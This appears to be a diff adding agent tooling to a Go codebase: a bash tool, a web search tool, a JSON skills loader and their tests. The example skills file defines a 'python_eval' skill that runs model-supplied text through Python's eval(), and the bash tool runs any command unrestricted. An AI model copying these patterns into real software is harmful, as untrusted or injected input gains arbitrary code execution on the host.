+	cmd := exec.CommandContext(ctx, "bash", "-c", command)
+
+	var stdout, stderr bytes.Buffer
+	cmd.Stdout = &stdout
+	cmd.Stderr = &stderr
+
+	err := cmd.Run()
+
+	// Build output
+	var sb strings.Builder
+
+	// Add stdout
+	if stdout.Len() > 0 {
+		output := stdout.String()
+		if len(output) > maxOutputSize {
+			output = output[:maxOutputSize] + "\n... (output truncated)"
+		}
+		sb.WriteString(output)
+	}
+
+	// Add stderr if present
+	if stderr.Len() > 0 {
+		stderrOutput := stderr.String()
+		if len(stderrOutput) > maxOutputSize {
+			stderrOutput = stderrOutput[:maxOutputSize] + "\n... (stderr truncated)"
+		}
+		if sb.Len() > 0 {
+			sb.WriteString("\n")
+		}
+		sb.WriteString("stderr:\n")
+		sb.WriteString(stderrOutput)
+	}
+
+	// Handle errors
+	if err != nil {
+		if ctx.Err() == context.DeadlineExceeded {
+			return sb.String() + "\n\nError: command timed out after 60 seconds", nil
+		}
+		// Include exit code in output but don't return as error
+		if exitErr, ok := err.(*exec.ExitError); ok {
+			return sb.String() + fmt.Sprintf("\n\nExit code: %d", exitErr.ExitCode()), nil
+		}
+		return sb.String(), fmt.Errorf("executing command: %w", err)
+	}
+
+	if sb.Len() == 0 {
+		return "(no output)", nil
+	}
+
+	return sb.String(), nil
+}

x/tools/example-skills.json

@@ -0,0 +1,44 @@
+{
+  "version": "1",
+  "skills": [
+    {
+      "name": "get_time",
+      "description": "Get the current date and time. Use this when the user asks about the current time or date.",
+      "parameters": [],
+      "executor": {
+        "type": "script",
+        "command": "date",
+        "timeout": 5
+      }
+    },
+    {
+      "name": "system_info",
+      "description": "Get system information including OS, hostname, and uptime.",
+      "parameters": [],
+      "executor": {
+        "type": "script",
+        "command": "sh",
+        "args": ["-c", "echo \"Hostname: $(hostname)\"; echo \"OS: $(uname -s)\"; echo \"Kernel: $(uname -r)\"; echo \"Uptime: $(uptime -p 2>/dev/null || uptime)\""],
+        "timeout": 10
+      }
+    },
+    {
+      "name": "python_eval",
+      "description": "Evaluate a Python expression. The expression is passed via stdin as JSON with an 'expression' field.",
+      "parameters": [
+        {
+          "name": "expression",
+          "type": "string",
+          "description": "The Python expression to evaluate",
+          "required": true
+        }
+      ],
+      "executor": {
+        "type": "script",
+        "command": "python3",
+        "args": ["-c", "import sys, json; data = json.load(sys.stdin); print(eval(data.get('expression', '')))"],
+        "timeout": 30
+      }
+    }
+  ]
+}

x/tools/registry.go

@@ -0,0 +1,96 @@
+// Package tools provides built-in tool implementations for the agent loop.
+package tools
+
+import (
+	"fmt"
+	"sort"
+
+	"github.com/ollama/ollama/api"
+)
+
+// Tool defines the interface for agent tools.
+type Tool interface {
+	// Name returns the tool's unique identifier.
+	Name() string
+	// Description returns a human-readable description of what the tool does.
+	Description() string
+	// Schema returns the tool's parameter schema for the LLM.
+	Schema() api.ToolFunction
+	// Execute runs the tool with the given arguments.
+	Execute(args map[string]any) (string, error)
+}
+
+// Registry manages available tools.
+type Registry struct {
+	tools map[string]Tool
+}
+
+// NewRegistry creates a new tool registry.
+func NewRegistry() *Registry {
+	return &Registry{
+		tools: make(map[string]Tool),
+	}
+}
+
+// Register adds a tool to the registry.
+func (r *Registry) Register(tool Tool) {
+	r.tools[tool.Name()] = tool
+}
+
+// Get retrieves a tool by name.
+func (r *Registry) Get(name string) (Tool, bool) {
+	tool, ok := r.tools[name]
+	return tool, ok
+}
+
+// Tools returns all registered tools in Ollama API format, sorted by name.
+func (r *Registry) Tools() api.Tools {
+	// Get sorted names for deterministic ordering
+	names := make([]string, 0, len(r.tools))
+	for name := range r.tools {
+		names = append(names, name)
+	}
+	sort.Strings(names)
+
+	var tools api.Tools
+	for _, name := range names {
+		tool := r.tools[name]
+		tools = append(tools, api.Tool{
+			Type:     "function",
+			Function: tool.Schema(),
+		})
+	}
+	return tools
+}
+
+// Execute runs a tool call and returns the result.
+func (r *Registry) Execute(call api.ToolCall) (string, error) {
+	tool, ok := r.tools[call.Function.Name]
+	if !ok {
+		return "", fmt.Errorf("unknown tool: %s", call.Function.Name)
+	}
+	return tool.Execute(call.Function.Arguments.ToMap())
+}
+
+// Names returns the names of all registered tools, sorted alphabetically.
+func (r *Registry) Names() []string {
+	names := make([]string, 0, len(r.tools))
+	for name := range r.tools {
+		names = append(names, name)
+	}
+	sort.Strings(names)
+	return names
+}
+
+// Count returns the number of registered tools.
+func (r *Registry) Count() int {
+	return len(r.tools)
+}
+
+// DefaultRegistry creates a registry with all built-in tools.
+func DefaultRegistry() *Registry {
+	r := NewRegistry()
+	r.Register(&WebSearchTool{})
+	r.Register(&BashTool{})
+	return r
+}

x/tools/registry_test.go

@@ -0,0 +1,143 @@
+package tools
+
+import (
+	"testing"
+
+	"github.com/ollama/ollama/api"
+)
+
+func TestRegistry_Register(t *testing.T) {
+	r := NewRegistry()
+
+	r.Register(&BashTool{})
+	r.Register(&WebSearchTool{})
+
+	if r.Count() != 2 {
+		t.Errorf("expected 2 tools, got %d", r.Count())
+	}
+
+	names := r.Names()
+	if len(names) != 2 {
+		t.Errorf("expected 2 names, got %d", len(names))
+	}
+}
+
+func TestRegistry_Get(t *testing.T) {
+	r := NewRegistry()
+	r.Register(&BashTool{})
+
+	tool, ok := r.Get("bash")
+	if !ok {
+		t.Fatal("expected to find bash tool")
+	}
+
+	if tool.Name() != "bash" {
+		t.Errorf("expected name 'bash', got '%s'", tool.Name())
+	}
+
+	_, ok = r.Get("nonexistent")
+	if ok {
+		t.Error("expected not to find nonexistent tool")
+	}
+}
+
+func TestRegistry_Tools(t *testing.T) {
+	r := NewRegistry()
+	r.Register(&BashTool{})
+	r.Register(&WebSearchTool{})
+
+	tools := r.Tools()
+	if len(tools) != 2 {
+		t.Errorf("expected 2 tools, got %d", len(tools))
+	}
+
+	for _, tool := range tools {
+		if tool.Type != "function" {
+			t.Errorf("expected type 'function', got '%s'", tool.Type)
+		}
+	}
+}
+
+func TestRegistry_Execute(t *testing.T) {
+	r := NewRegistry()
+	r.Register(&BashTool{})
+
+	// Test successful execution
+	args := api.NewToolCallFunctionArguments()
+	args.Set("command", "echo hello")
+	result, err := r.Execute(api.ToolCall{
+		Function: api.ToolCallFunction{
+			Name:      "bash",
+			Arguments: args,
+		},
+	})
+	if err != nil {
+		t.Fatalf("unexpected error: %v", err)
+	}
+	if result != "hello\n" {
+		t.Errorf("expected 'hello\\n', got '%s'", result)
+	}
+
+	// Test unknown tool
+	_, err = r.Execute(api.ToolCall{
+		Function: api.ToolCallFunction{
+			Name:      "unknown",
+			Arguments: api.NewToolCallFunctionArguments(),
+		},
+	})
+	if err == nil {
+		t.Error("expected error for unknown tool")
+	}
+}
+
+func TestDefaultRegistry(t *testing.T) {
+	r := DefaultRegistry()
+
+	if r.Count() != 2 {
+		t.Errorf("expected 2 tools in default registry, got %d", r.Count())
+	}
+
+	_, ok := r.Get("bash")
+	if !ok {
+		t.Error("expected bash tool in default registry")
+	}
+
+	_, ok = r.Get("web_search")
+	if !ok {
+		t.Error("expected web_search tool in default registry")
+	}
+}
+
+func TestBashTool_Schema(t *testing.T) {
+	tool := &BashTool{}
+
+	schema := tool.Schema()
+	if schema.Name != "bash" {
+		t.Errorf("expected name 'bash', got '%s'", schema.Name)
+	}
+
+	if schema.Parameters.Type != "object" {
+		t.Errorf("expected parameters type 'object', got '%s'", schema.Parameters.Type)
+	}
+
+	if _, ok := schema.Parameters.Properties.Get("command"); !ok {
+		t.Error("expected 'command' property in schema")
+	}
+}
+
+func TestWebSearchTool_Schema(t *testing.T) {
+	tool := &WebSearchTool{}
+
+	schema := tool.Schema()
+	if schema.Name != "web_search" {
+		t.Errorf("expected name 'web_search', got '%s'", schema.Name)
+	}
+
+	if schema.Parameters.Type != "object" {
+		t.Errorf("expected parameters type 'object', got '%s'", schema.Parameters.Type)
+	}
+
+	if _, ok := schema.Parameters.Properties.Get("query"); !ok {
+		t.Error("expected 'query' property in schema")
+	}
+}

x/tools/skills.go

@@ -0,0 +1,318 @@
+// Package tools provides built-in tool implementations for the agent loop.
+package tools
+
+import (
+	"bytes"
+	"context"
+	"encoding/json"
+	"fmt"
+	"os"
+	"os/exec"
+	"path/filepath"
+	"strings"
+	"time"
+
+	"github.com/ollama/ollama/api"
+)
+
+// SkillSpec defines the specification for a custom skill.
+// Skills can be loaded from JSON files and registered with the tool registry.
+type SkillSpec struct {
+	// Name is the unique identifier for the skill
+	Name string `json:"name"`
+	// Description is a human-readable description shown to the LLM
+	Description string `json:"description"`
+	// Parameters defines the input schema for the skill
+	Parameters []SkillParameter `json:"parameters,omitempty"`
+	// Executor defines how the skill is executed
+	Executor SkillExecutor `json:"executor"`
+}
+
+// SkillParameter defines a single parameter for a skill.
+type SkillParameter struct {
+	// Name is the parameter name
+	Name string `json:"name"`
+	// Type is the JSON schema type (string, number, boolean, array, object)
+	Type string `json:"type"`
+	// Description explains what this parameter is for
+	Description string `json:"description"`
+	// Required indicates if this parameter must be provided
+	Required bool `json:"required"`
+}
+
+// SkillExecutor defines how to execute a skill.
+type SkillExecutor struct {
+	// Type is the executor type: "script", "http", or "builtin"
+	Type string `json:"type"`
+	// Command is the command to run for "script" type
+	// Arguments are passed as JSON via stdin, result is read from stdout
+	Command string `json:"command,omitempty"`
+	// Args are additional arguments appended to the command
+	Args []string `json:"args,omitempty"`
+	// Timeout is the maximum execution time in seconds (default: 60)
+	Timeout int `json:"timeout,omitempty"`
+	// URL is the endpoint for "http" type executors
+	URL string `json:"url,omitempty"`
+	// Method is the HTTP method (default: POST)
+	Method string `json:"method,omitempty"`
+}
+
+// SkillsFile represents a file containing skill definitions.
+type SkillsFile struct {
+	// Version is the spec version (currently "1")
+	Version string `json:"version"`
+	// Skills is the list of skill definitions
+	Skills []SkillSpec `json:"skills"`
+}
+
+// SkillTool wraps a SkillSpec to implement the Tool interface.
+type SkillTool struct {
+	spec SkillSpec
+}
+
+// NewSkillTool creates a Tool from a SkillSpec.
+func NewSkillTool(spec SkillSpec) *SkillTool {
+	return &SkillTool{spec: spec}
+}
+
+// Name returns the skill name.
+func (s *SkillTool) Name() string {
+	return s.spec.Name
+}
+
+// Description returns the skill description.
+func (s *SkillTool) Description() string {
+	return s.spec.Description
+}
+
+// Schema returns the tool's parameter schema for the LLM.
+func (s *SkillTool) Schema() api.ToolFunction {
+	props := api.NewToolPropertiesMap()
+	var required []string
+
+	for _, param := range s.spec.Parameters {
+		props.Set(param.Name, api.ToolProperty{
+			Type:        api.PropertyType{param.Type},
+			Description: param.Description,
+		})
+		if param.Required {
+			required = append(required, param.Name)
+		}
+	}
+
+	return api.ToolFunction{
+		Name:        s.spec.Name,
+		Description: s.spec.Description,
+		Parameters: api.ToolFunctionParameters{
+			Type:       "object",
+			Properties: props,
+			Required:   required,
+		},
+	}
+}
+
+// Execute runs the skill with the given arguments.
+func (s *SkillTool) Execute(args map[string]any) (string, error) {
+	switch s.spec.Executor.Type {
+	case "script":
+		return s.executeScript(args)
+	case "http":
+		return s.executeHTTP(args)
+	default:
+		return "", fmt.Errorf("unknown executor type: %s", s.spec.Executor.Type)
+	}
+}
+
+// executeScript runs a script-based skill.
+func (s *SkillTool) executeScript(args map[string]any) (string, error) {
+	if s.spec.Executor.Command == "" {
+		return "", fmt.Errorf("script executor requires command")
+	}
+
+	timeout := time.Duration(s.spec.Executor.Timeout) * time.Second
+	if timeout == 0 {
+		timeout = 60 * time.Second
+	}
+
+	ctx, cancel := context.WithTimeout(context.Background(), timeout)
+	defer cancel()
+
+	// Build command
+	cmdArgs := append([]string{}, s.spec.Executor.Args...)
+	cmd := exec.CommandContext(ctx, s.spec.Executor.Command, cmdArgs...)
+
+	// Pass arguments as JSON via stdin
+	inputJSON, err := json.Marshal(args)
+	if err != nil {
+		return "", fmt.Errorf("marshaling arguments: %w", err)
+	}
+	cmd.Stdin = bytes.NewReader(inputJSON)
+
+	var stdout, stderr bytes.Buffer
+	cmd.Stdout = &stdout
+	cmd.Stderr = &stderr
+
+	err = cmd.Run()
+
+	// Build output
+	var sb strings.Builder
+	if stdout.Len() > 0 {
+		output := stdout.String()
+		if len(output) > maxOutputSize {
+			output = output[:maxOutputSize] + "\n... (output truncated)"
+		}
+		sb.WriteString(output)
+	}
+
+	if stderr.Len() > 0 {
+		stderrOutput := stderr.String()
+		if len(stderrOutput) > maxOutputSize {
+			stderrOutput = stderrOutput[:maxOutputSize] + "\n... (stderr truncated)"
+		}
+		if sb.Len() > 0 {
+			sb.WriteString("\n")
+		}
+		sb.WriteString("stderr:\n")
+		sb.WriteString(stderrOutput)
+	}
+
+	if err != nil {
+		if ctx.Err() == context.DeadlineExceeded {
+			return sb.String() + fmt.Sprintf("\n\nError: command timed out after %d seconds", s.spec.Executor.Timeout), nil
+		}
+		if exitErr, ok := err.(*exec.ExitError); ok {
+			return sb.String() + fmt.Sprintf("\n\nExit code: %d", exitErr.ExitCode()), nil
+		}
+		return sb.String(), fmt.Errorf("executing skill: %w", err)
+	}
+
+	if sb.Len() == 0 {
+		return "(no output)", nil
+	}
+
+	return sb.String(), nil
+}
+
+// executeHTTP runs an HTTP-based skill.
+func (s *SkillTool) executeHTTP(args map[string]any) (string, error) {
+	// HTTP executor is a placeholder for future implementation
+	return "", fmt.Errorf("http executor not yet implemented")
+}
+
+// LoadSkillsFile loads skill definitions from a JSON file.
+func LoadSkillsFile(path string) (*SkillsFile, error) {
+	data, err := os.ReadFile(path)
+	if err != nil {
+		return nil, fmt.Errorf("reading skills file: %w", err)
+	}
+
+	var file SkillsFile
+	if err := json.Unmarshal(data, &file); err != nil {
+		return nil, fmt.Errorf("parsing skills file: %w", err)
+	}
+
+	if file.Version == "" {
+		file.Version = "1"
+	}
+
+	return &file, nil
+}
+
+// RegisterSkillsFromFile loads skills from a file and registers them with the registry.
+func RegisterSkillsFromFile(registry *Registry, path string) error {
+	file, err := LoadSkillsFile(path)
+	if err != nil {
+		return err
+	}
+
+	for _, spec := range file.Skills {
+		if err := validateSkillSpec(spec); err != nil {
+			return fmt.Errorf("invalid skill %q: %w", spec.Name, err)
+		}
+		registry.Register(NewSkillTool(spec))
+	}
+
+	return nil
+}
+
+// FindSkillsFiles searches for skill definition files in standard locations.
+// It looks for:
+// - ./ollama-skills.json (current directory)
+// - ~/.ollama/skills.json (user config)
+// - ~/.config/ollama/skills.json (XDG config)
+func FindSkillsFiles() []string {
+	var files []string
+
+	// Current directory
+	if _, err := os.Stat("ollama-skills.json"); err == nil {
+		files = append(files, "ollama-skills.json")
+	}
+
+	// Home directory
+	home, err := os.UserHomeDir()
+	if err == nil {
+		paths := []string{
+			filepath.Join(home, ".ollama", "skills.json"),
+			filepath.Join(home, ".config", "ollama", "skills.json"),
+		}
+		for _, p := range paths {
+			if _, err := os.Stat(p); err == nil {
+				files = append(files, p)
+			}
+		}
+	}
+
+	return files
+}
+
+// LoadAllSkills loads skills from all discovered skill files into the registry.
+func LoadAllSkills(registry *Registry) ([]string, error) {
+	files := FindSkillsFiles()
+	var loaded []string
+
+	for _, path := range files {
+		if err := RegisterSkillsFromFile(registry, path); err != nil {
+			return loaded, fmt.Errorf("loading %s: %w", path, err)
+		}
+		loaded = append(loaded, path)
+	}
+
+	return loaded, nil
+}
+
+// validateSkillSpec validates a skill specification.
+func validateSkillSpec(spec SkillSpec) error {
+	if spec.Name == "" {
+		return fmt.Errorf("name is required")
+	}
+	if spec.Description == "" {
+		return fmt.Errorf("description is required")
+	}
+	if spec.Executor.Type == "" {
+		return fmt.Errorf("executor.type is required")
+	}
+
+	switch spec.Executor.Type {
+	case "script":
+		if spec.Executor.Command == "" {
+			return fmt.Errorf("executor.command is required for script type")
+		}
+	case "http":
+		if spec.Executor.URL == "" {
+			return fmt.Errorf("executor.url is required for http type")
+		}
+	default:
+		return fmt.Errorf("unknown executor type: %s", spec.Executor.Type)
+	}
+
+	for _, param := range spec.Parameters {
+		if param.Name == "" {
+			return fmt.Errorf("parameter name is required")
+		}
+		if param.Type == "" {
+			return fmt.Errorf("parameter type is required for %s", param.Name)
+		}
+	}
+
+	return nil
+}

x/tools/skills_test.go

@@ -0,0 +1,368 @@
+package tools
+
+import (
+	"os"
+	"path/filepath"
+	"testing"
+)
+
+func TestValidateSkillSpec(t *testing.T) {
+	tests := []struct {
+		name    string
+		spec    SkillSpec
+		wantErr bool
+		errMsg  string
+	}{
+		{
+			name: "valid script skill",
+			spec: SkillSpec{
+				Name:        "test_skill",
+				Description: "A test skill",
+				Parameters: []SkillParameter{
+					{Name: "input", Type: "string", Description: "Input value", Required: true},
+				},
+				Executor: SkillExecutor{
+					Type:    "script",
+					Command: "echo",
+				},
+			},
+			wantErr: false,
+		},
+		{
+			name: "valid http skill",
+			spec: SkillSpec{
+				Name:        "http_skill",
+				Description: "An HTTP skill",
+				Executor: SkillExecutor{
+					Type: "http",
+					URL:  "https://example.com/api",
+				},
+			},
+			wantErr: false,
+		},
+		{
+			name: "missing name",
+			spec: SkillSpec{
+				Description: "A skill without name",
+				Executor:    SkillExecutor{Type: "script", Command: "echo"},
+			},
+			wantErr: true,
+			errMsg:  "name is required",
+		},
+		{
+			name: "missing description",
+			spec: SkillSpec{
+				Name:     "no_desc",
+				Executor: SkillExecutor{Type: "script", Command: "echo"},
+			},
+			wantErr: true,
+			errMsg:  "description is required",
+		},
+		{
+			name: "missing executor type",
+			spec: SkillSpec{
+				Name:        "no_exec_type",
+				Description: "Missing executor type",
+				Executor:    SkillExecutor{Command: "echo"},
+			},
+			wantErr: true,
+			errMsg:  "executor.type is required",
+		},
+		{
+			name: "script missing command",
+			spec: SkillSpec{
+				Name:        "script_no_cmd",
+				Description: "Script without command",
+				Executor:    SkillExecutor{Type: "script"},
+			},
+			wantErr: true,
+			errMsg:  "executor.command is required",
+		},
+		{
+			name: "http missing url",
+			spec: SkillSpec{
+				Name:        "http_no_url",
+				Description: "HTTP without URL",
+				Executor:    SkillExecutor{Type: "http"},
+			},
+			wantErr: true,
+			errMsg:  "executor.url is required",
+		},
+		{
+			name: "unknown executor type",
+			spec: SkillSpec{
+				Name:        "unknown_type",
+				Description: "Unknown executor",
+				Executor:    SkillExecutor{Type: "invalid"},
+			},
+			wantErr: true,
+			errMsg:  "unknown executor type",
+		},
+		{
+			name: "parameter missing name",
+			spec: SkillSpec{
+				Name:        "param_no_name",
+				Description: "Parameter without name",
+				Parameters:  []SkillParameter{{Type: "string", Description: "desc"}},
+				Executor:    SkillExecutor{Type: "script", Command: "echo"},
+			},
+			wantErr: true,
+			errMsg:  "parameter name is required",
+		},
+		{
+			name: "parameter missing type",
+			spec: SkillSpec{
+				Name:        "param_no_type",
+				Description: "Parameter without type",
+				Parameters:  []SkillParameter{{Name: "foo", Description: "desc"}},
+				Executor:    SkillExecutor{Type: "script", Command: "echo"},
+			},
+			wantErr: true,
+			errMsg:  "parameter type is required",
+		},
+	}
+
+	for _, tt := range tests {
+		t.Run(tt.name, func(t *testing.T) {
+			err := validateSkillSpec(tt.spec)
+			if tt.wantErr {
+				if err == nil {
+					t.Errorf("expected error containing %q, got nil", tt.errMsg)
+				} else if tt.errMsg != "" && !contains(err.Error(), tt.errMsg) {
+					t.Errorf("expected error containing %q, got %q", tt.errMsg, err.Error())
+				}
+			} else if err != nil {
+				t.Errorf("unexpected error: %v", err)
+			}
+		})
+	}
+}
+
+func TestLoadSkillsFile(t *testing.T) {
+	// Create a temporary skills file
+	tmpDir := t.TempDir()
+	skillsPath := filepath.Join(tmpDir, "skills.json")
+
+	content := `{
+		"version": "1",
+		"skills": [
+			{
+				"name": "echo_skill",
+				"description": "Echoes the input",
+				"parameters": [
+					{"name": "message", "type": "string", "description": "Message to echo", "required": true}
+				],
+				"executor": {
+					"type": "script",
+					"command": "echo",
+					"timeout": 30
+				}
+			}
+		]
+	}`
+
+	if err := os.WriteFile(skillsPath, []byte(content), 0644); err != nil {
+		t.Fatalf("failed to write test file: %v", err)
+	}
+
+	file, err := LoadSkillsFile(skillsPath)
+	if err != nil {
+		t.Fatalf("LoadSkillsFile failed: %v", err)
+	}
+
+	if file.Version != "1" {
+		t.Errorf("expected version 1, got %s", file.Version)
+	}
+
+	if len(file.Skills) != 1 {
+		t.Fatalf("expected 1 skill, got %d", len(file.Skills))
+	}
+
+	skill := file.Skills[0]
+	if skill.Name != "echo_skill" {
+		t.Errorf("expected name 'echo_skill', got %s", skill.Name)
+	}
+	if skill.Executor.Timeout != 30 {
+		t.Errorf("expected timeout 30, got %d", skill.Executor.Timeout)
+	}
+	if len(skill.Parameters) != 1 {
+		t.Errorf("expected 1 parameter, got %d", len(skill.Parameters))
+	}
+}
+
+func TestRegisterSkillsFromFile(t *testing.T) {
+	tmpDir := t.TempDir()
+	skillsPath := filepath.Join(tmpDir, "skills.json")
+
+	content := `{
+		"version": "1",
+		"skills": [
+			{
+				"name": "skill_a",
+				"description": "Skill A",
+				"executor": {"type": "script", "command": "echo"}
+			},
+			{
+				"name": "skill_b",
+				"description": "Skill B",
+				"executor": {"type": "script", "command": "cat"}
+			}
+		]
+	}`
+
+	if err := os.WriteFile(skillsPath, []byte(content), 0644); err != nil {
+		t.Fatalf("failed to write test file: %v", err)
+	}
+
+	registry := NewRegistry()
+	if err := RegisterSkillsFromFile(registry, skillsPath); err != nil {
+		t.Fatalf("RegisterSkillsFromFile failed: %v", err)
+	}
+
+	if registry.Count() != 2 {
+		t.Errorf("expected 2 tools, got %d", registry.Count())
+	}
+
+	names := registry.Names()
+	if names[0] != "skill_a" || names[1] != "skill_b" {
+		t.Errorf("unexpected tool names: %v", names)
+	}
+}
+
+func TestSkillToolSchema(t *testing.T) {
+	spec := SkillSpec{
+		Name:        "test_tool",
+		Description: "A test tool",
+		Parameters: []SkillParameter{
+			{Name: "required_param", Type: "string", Description: "Required", Required: true},
+			{Name: "optional_param", Type: "number", Description: "Optional", Required: false},
+		},
+		Executor: SkillExecutor{Type: "script", Command: "echo"},
+	}
+
+	tool := NewSkillTool(spec)
+
+	if tool.Name() != "test_tool" {
+		t.Errorf("expected name 'test_tool', got %s", tool.Name())
+	}
+
+	if tool.Description() != "A test tool" {
+		t.Errorf("expected description 'A test tool', got %s", tool.Description())
+	}
+
+	schema := tool.Schema()
+	if schema.Name != "test_tool" {
+		t.Errorf("schema name mismatch")
+	}
+
+	if len(schema.Parameters.Required) != 1 {
+		t.Errorf("expected 1 required param, got %d", len(schema.Parameters.Required))
+	}
+	if schema.Parameters.Required[0] != "required_param" {
+		t.Errorf("wrong required param: %v", schema.Parameters.Required)
+	}
+}
+
+func TestSkillToolExecuteScript(t *testing.T) {
+	spec := SkillSpec{
+		Name:        "echo_test",
+		Description: "Echo test",
+		Executor: SkillExecutor{
+			Type:    "script",
+			Command: "cat",
+			Timeout: 5,
+		},
+	}
+
+	tool := NewSkillTool(spec)
+
+	// cat will read JSON from stdin and output it
+	result, err := tool.Execute(map[string]any{"message": "hello"})
+	if err != nil {
+		t.Fatalf("Execute failed: %v", err)
+	}
+
+	if !contains(result, "message") || !contains(result, "hello") {
+		t.Errorf("expected JSON output with 'message' and 'hello', got: %s", result)
+	}
+}
+
+func TestSkillToolExecuteHTTPNotImplemented(t *testing.T) {
+	spec := SkillSpec{
+		Name:        "http_test",
+		Description: "HTTP test",
+		Executor: SkillExecutor{
+			Type: "http",
+			URL:  "https://example.com",
+		},
+	}
+
+	tool := NewSkillTool(spec)
+	_, err := tool.Execute(map[string]any{})
+	if err == nil {
+		t.Error("expected error for http executor")
+	}
+	if !contains(err.Error(), "not yet implemented") {
+		t.Errorf("unexpected error: %v", err)
+	}
+}
+
+func TestLoadSkillsFileNotFound(t *testing.T) {
+	_, err := LoadSkillsFile("/nonexistent/path/skills.json")
+	if err == nil {
+		t.Error("expected error for nonexistent file")
+	}
+}
+
+func TestLoadSkillsFileInvalidJSON(t *testing.T) {
+	tmpDir := t.TempDir()
+	skillsPath := filepath.Join(tmpDir, "invalid.json")
+
+	if err := os.WriteFile(skillsPath, []byte("not valid json"), 0644); err != nil {
+		t.Fatalf("failed to write test file: %v", err)
+	}
+
+	_, err := LoadSkillsFile(skillsPath)
+	if err == nil {
+		t.Error("expected error for invalid JSON")
+	}
+}
+
+func TestRegisterSkillsFromFileInvalidSkill(t *testing.T) {
+	tmpDir := t.TempDir()
+	skillsPath := filepath.Join(tmpDir, "invalid_skill.json")
+
+	content := `{
+		"version": "1",
+		"skills": [
+			{
+				"name": "",
+				"description": "Missing name",
+				"executor": {"type": "script", "command": "echo"}
+			}
+		]
+	}`
+
+	if err := os.WriteFile(skillsPath, []byte(content), 0644); err != nil {
+		t.Fatalf("failed to write test file: %v", err)
+	}
+
+	registry := NewRegistry()
+	err := RegisterSkillsFromFile(registry, skillsPath)
+	if err == nil {
+		t.Error("expected error for invalid skill")
+	}
+}
+
+func contains(s, substr string) bool {
+	return len(s) >= len(substr) && (s == substr || len(s) > 0 && containsHelper(s, substr))
+}
+
+func containsHelper(s, substr string) bool {
+	for i := 0; i <= len(s)-len(substr); i++ {
+		if s[i:i+len(substr)] == substr {
+			return true
+		}
+	}
+	return false
+}

x/tools/websearch.go

@@ -0,0 +1,148 @@
+package tools
+
+import (
+	"bytes"
+	"encoding/json"
+	"fmt"
+	"io"
+	"net/http"
+	"os"
+	"strings"
+	"time"
+
+	"github.com/ollama/ollama/api"
+)
+
+const (
+	webSearchAPI     = "https://ollama.com/api/web_search"
+	webSearchTimeout = 15 * time.Second
+)
+
+// WebSearchTool implements web search using Ollama's hosted API.
+type WebSearchTool struct{}
+
+// Name returns the tool name.
+func (w *WebSearchTool) Name() string {
+	return "web_search"
+}
+
+// Description returns a description of the tool.
+func (w *WebSearchTool) Description() string {
+	return "Search the web for current information. Use this when you need up-to-date information that may not be in your training data."
+}
+
+// Schema returns the tool's parameter schema.
+func (w *WebSearchTool) Schema() api.ToolFunction {
+	props := api.NewToolPropertiesMap()
+	props.Set("query", api.ToolProperty{
+		Type:        api.PropertyType{"string"},
+		Description: "The search query to look up on the web",
+	})
+	return api.ToolFunction{
+		Name:        w.Name(),
+		Description: w.Description(),
+		Parameters: api.ToolFunctionParameters{
+			Type:       "object",
+			Properties: props,
+			Required:   []string{"query"},
+		},
+	}
+}
+
+// webSearchRequest is the request body for the web search API.
+type webSearchRequest struct {
+	Query      string `json:"query"`
+	MaxResults int    `json:"max_results,omitempty"`
+}
+
+// webSearchResponse is the response from the web search API.
+type webSearchResponse struct {
+	Results []webSearchResult `json:"results"`
+}
+
+// webSearchResult is a single search result.
+type webSearchResult struct {
+	Title   string `json:"title"`
+	URL     string `json:"url"`
+	Content string `json:"content"`
+}
+
+// Execute performs the web search.
+func (w *WebSearchTool) Execute(args map[string]any) (string, error) {
+	query, ok := args["query"].(string)
+	if !ok || query == "" {
+		return "", fmt.Errorf("query parameter is required")
+	}
+
+	apiKey := os.Getenv("OLLAMA_API_KEY")
+	if apiKey == "" {
+		return "", fmt.Errorf("OLLAMA_API_KEY environment variable is required for web search")
+	}
+
+	// Prepare request
+	reqBody := webSearchRequest{
+		Query:      query,
+		MaxResults: 5,
+	}
+
+	jsonBody, err := json.Marshal(reqBody)
+	if err != nil {
+		return "", fmt.Errorf("marshaling request: %w", err)
+	}
+
+	req, err := http.NewRequest("POST", webSearchAPI, bytes.NewBuffer(jsonBody))
+	if err != nil {
+		return "", fmt.Errorf("creating request: %w", err)
+	}
+
+	req.Header.Set("Content-Type", "application/json")
+	req.Header.Set("Authorization", "Bearer "+apiKey)
+
+	// Send request
+	client := &http.Client{Timeout: webSearchTimeout}
+	resp, err := client.Do(req)
+	if err != nil {
+		return "", fmt.Errorf("sending request: %w", err)
+	}
+	defer resp.Body.Close()
+
+	body, err := io.ReadAll(resp.Body)
+	if err != nil {
+		return "", fmt.Errorf("reading response: %w", err)
+	}
+
+	if resp.StatusCode != http.StatusOK {
+		return "", fmt.Errorf("web search API returned status %d: %s", resp.StatusCode, string(body))
+	}
+
+	// Parse response
+	var searchResp webSearchResponse
+	if err := json.Unmarshal(body, &searchResp); err != nil {
+		return "", fmt.Errorf("parsing response: %w", err)
+	}
+
+	// Format results
+	if len(searchResp.Results) == 0 {
+		return "No results found for query: " + query, nil
+	}
+
+	var sb strings.Builder
+	sb.WriteString(fmt.Sprintf("Search results for: %s\n\n", query))
+
+	for i, result := range searchResp.Results {
+		sb.WriteString(fmt.Sprintf("%d. %s\n", i+1, result.Title))
+		sb.WriteString(fmt.Sprintf("   URL: %s\n", result.URL))
+		if result.Content != "" {
+			// Truncate long content (UTF-8 safe)
+			content := result.Content
+			runes := []rune(content)
+			if len(runes) > 300 {
+				content = string(runes[:300]) + "..."
+			}
+			sb.WriteString(fmt.Sprintf("   %s\n", content))
+		}
+		sb.WriteString("\n")
+	}
+
+	return sb.String(), nil
+}